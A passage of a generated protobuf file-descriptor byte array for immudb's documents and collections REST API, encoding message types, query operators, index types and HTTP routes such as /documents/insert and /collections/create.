0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, + 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, + 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, + 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x44, 0x0a, 0x0b, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x35, 0x0a, 0x04, 0x74, 0x79, 0x70, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, + 0x22, 0xb7, 0x03, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x12, 0x62, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, + 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x40, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, + 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, + 0x4b, 0x65, 0x79, 0x73, 0x12, 0x5c, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, + 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, + 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, + 0x79, 0x73, 0x1a, 0x63, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, + 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x39, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x61, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x39, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x18, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4d, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, + 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xb1, 0x03, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, + 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, + 0x61, 0x6d, 0x65, 0x12, 0x60, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, + 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, + 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, + 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, + 0x79, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x5a, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, + 0x79, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, + 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, + 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, + 0x73, 0x1a, 0x63, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x39, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x61, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, + 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x39, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x66, 0x0a, 0x15, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x4d, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, + 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, + 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x69, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x12, 0x4f, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, + 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x22, 0x4e, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x32, 0x0a, 0x08, + 0x72, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x52, 0x08, 0x72, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x1b, 0x0a, 0x05, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x2a, 0x43, 0x0a, + 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, + 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x01, 0x12, 0x07, + 0x0a, 0x03, 0x47, 0x54, 0x45, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x03, 0x12, + 0x07, 0x0a, 0x03, 0x4c, 0x54, 0x45, 0x10, 0x04, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, + 0x10, 0x05, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, + 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, + 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, + 0x4e, 0x47, 0x10, 0x02, 0x32, 0xd3, 0x07, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, + 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, + 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, + 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, + 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x12, 0xa5, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x30, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, + 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x96, 0x01, 0x0a, + 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2c, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9d, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, + 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, + 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa2, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x30, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xd7, 0x01, 0x5a, 0x34, 0x67, + 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, + 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, + 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x92, 0x41, 0x9d, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, + 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, + 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x59, 0x0a, 0x57, 0x0a, + 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 